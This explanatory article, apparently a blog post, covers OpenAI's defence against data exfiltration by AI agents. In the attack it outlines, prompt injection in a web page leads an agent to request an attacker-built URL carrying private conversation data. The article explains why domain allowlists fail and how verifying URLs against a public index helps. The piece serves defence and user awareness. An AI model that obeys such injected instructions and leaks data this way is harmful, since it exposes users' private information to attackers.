Artificial intelligence no longer just replies: sometimes it acts for you, opens a page, follows a link, or loads an image to complete an answer. Sounds useful? Sure. Risky? Also. OpenAI published an explanation about a specific type of attack and how they mitigate it: data exfiltration via URL.
What is the risk: URLs that leak information without you noticing
Imagine an agent loads an image or a preview in the background. When the agent requests a URL, the server that receives it logs that address. What if that URL contains private information, like an email or a document title? An attacker can create an address like https://attacker.example/collect?data=<something private> and check their logs to see what the agent requested.
Worse: attacks can come with instructions inside the page itself, using prompt injection techniques that try to force the model to ignore its rules and leak data. Possible result? A “silent” data escape without you noticing.
Why blocking domains isn’t enough
The first idea is usually: “we only let the agent open known sites.” But that fails for two practical reasons.
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Links can redirect. You start on a legitimate domain and end up on one controlled by an attacker. If you only check the initial domain, they can slip something past you.
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Rigid allowlists hurt the experience. The web is huge: blocking a lot creates constant alerts and trains people to ignore them. That habit makes the system unsafe.
So, what did OpenAI do? They changed the question from “do we trust this site?” to “is this specific URL already publicly present on the independent web?”
The practical solution: verify public URLs
The idea is simple and effective in its simplicity. If a URL has already been observed publicly by an independent index (similar to how a search engine works), it’s much less likely to contain unique data from your conversation.
Here’s how they apply it in practice:
- If the URL matches an entry in the public index: the agent can load it automatically.
- If it doesn’t match: we treat it as unverified. The agent doesn’t load it by default; it asks for another site or requests an explicit action from you while showing a warning.
If a URL is already known publicly on the web without relying on user data, it’s less likely to contain personal secrets.
That approach prevents the agent from making silent requests to addresses that could have been constructed from your conversation.
What you’ll see and what you can do
When a link isn’t verified, the interface will tell you with messages like:
- The link is not verified.
- It may include information from your conversation.
- Verify it before continuing.
And what can you do?
- Don’t open the link if something looks suspicious.
- Ask the agent for a summary or an alternative source that is public.
- Inspect the link (domain, parameters) before allowing it to load.
This protects especially silent cases, like embedded images or previews, where you might not notice that something was requested.
Limitations: this isn’t a vaccine for everything
It’s important to be clear: this measure prevents a specific type of data leak via URLs, but it doesn’t guarantee that the web is safe in every sense.
- It doesn’t ensure that the content is trustworthy.
- It doesn’t stop social engineering attempts against you.
- It doesn’t remove malicious instructions inside a page.
That’s why OpenAI treats it as one layer within a multi-layered defense strategy: model mitigations against prompt injection, product controls, continuous monitoring, and red-teaming. Security is a process, not a box you tick once.
Final thought
The proposal is practical: prioritizing URLs that already exist publicly reduces the chance that an agent will reveal something of yours without permission. It’s a solution that balances security and usability by avoiding overly strict site lists.
The lesson? AI can help you a lot, but staying in control is still key. When an agent wants to open something that isn’t verified, it’s better to stop, ask, and confirm.